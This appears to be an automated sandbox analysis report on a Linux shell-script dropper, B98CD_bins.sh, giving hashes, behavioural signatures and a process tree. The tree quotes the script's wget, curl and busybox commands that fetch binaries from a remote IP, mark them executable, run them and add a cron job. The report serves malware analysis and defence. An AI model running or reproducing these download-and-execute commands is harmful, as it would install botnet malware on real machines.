Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21-11-2024 07:01

General

  • Target

    B98CD_bins.sh

  • Size

    10KB

  • MD5

    0a7d8be88ccc96d0d1a91c27f63e3a6c

  • SHA1

    ba922eff12ebe57a6064f8773d16d9a51cde88f1

  • SHA256

    7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277

  • SHA512

    3279e6ff5af91dc2a1ec24a55dcfa8fb40b686359dcc57febf40fa24673159ee6946521e9e8212d9ea533e160e94041cc66c442130019c5d3dc537cfb83e48b3

  • SSDEEP

    192:my+UaEM28EdM7z3479lW7LvcN1vL+Us+U0+UEdUTUHUFCOv9lMLv3BfBx7amn78V:nxMQiCSyW5dCyh/xCeyW5dCyY

Malware Config

Signatures

  • Contacts a large (2061) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/B98CD_bins.sh
    /tmp/B98CD_bins.sh
    1⤵
      PID:718
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:721
        • /usr/bin/wget
          wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:727
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:746
        • /bin/chmod
          chmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • File and Directory Permissions Modification
          PID:748
        • /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          ./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Executes dropped EXE
          PID:749
        • /bin/rm
          rm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
            PID:752
          • /usr/bin/wget
            wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Writes file to tmp directory
            PID:753
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Writes file to tmp directory
            PID:754
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Writes file to tmp directory
            PID:755
          • /bin/chmod
            chmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • File and Directory Permissions Modification
            PID:756
          • /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            ./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Executes dropped EXE
            PID:757
          • /bin/rm
            rm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
              PID:759
            • /usr/bin/wget
              wget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Writes file to tmp directory
              PID:760
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Writes file to tmp directory
              PID:761
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Writes file to tmp directory
              PID:770
            • /bin/chmod
              chmod 777 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • File and Directory Permissions Modification
              PID:773
            • /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              ./7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Executes dropped EXE
              PID:774
            • /bin/rm
              rm 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
                PID:778
              • /usr/bin/wget
                wget http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Writes file to tmp directory
                PID:779
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Writes file to tmp directory
                PID:787
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Writes file to tmp directory
                PID:802
              • /bin/chmod
                chmod 777 jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • File and Directory Permissions Modification
                PID:808
              • /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                ./jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Executes dropped EXE
                PID:809
              • /bin/rm
                rm jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                  PID:813
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Writes file to tmp directory
                  PID:814
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Writes file to tmp directory
                  PID:820
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Writes file to tmp directory
                  PID:821
                • /bin/chmod
                  chmod 777 UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • File and Directory Permissions Modification
                  PID:822
                • /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  ./UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:823
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:825
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:826
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:827
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:828
                      • /bin/rm
                        rm UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                        2⤵
                          PID:830
                        • /usr/bin/wget
                          wget http://87.120.125.191/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                          2⤵
                            PID:833

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /var/spool/cron/crontabs/tmp.NgRAZa

                          Filesize

                          210B

                          MD5

                          b71840814d16f95943a1c983e084b6d4

                          SHA1

                          00bfa39b1edc24e4605383ec33c2984e26643eb0

                          SHA256

                          e234b5f97e66901e6b54ffcb39f3b2bd3902a4c386cd79c8d977d4b1fc50a3d0

                          SHA512

                          37703847c916cbb868836454aa384a7522ea2b3bdfd9c834b2f888cf1e74e3b67c37c5fac24cf6c64469fd82f26bc1614be8dfecb3fe4998eb575d67a6c6dcc1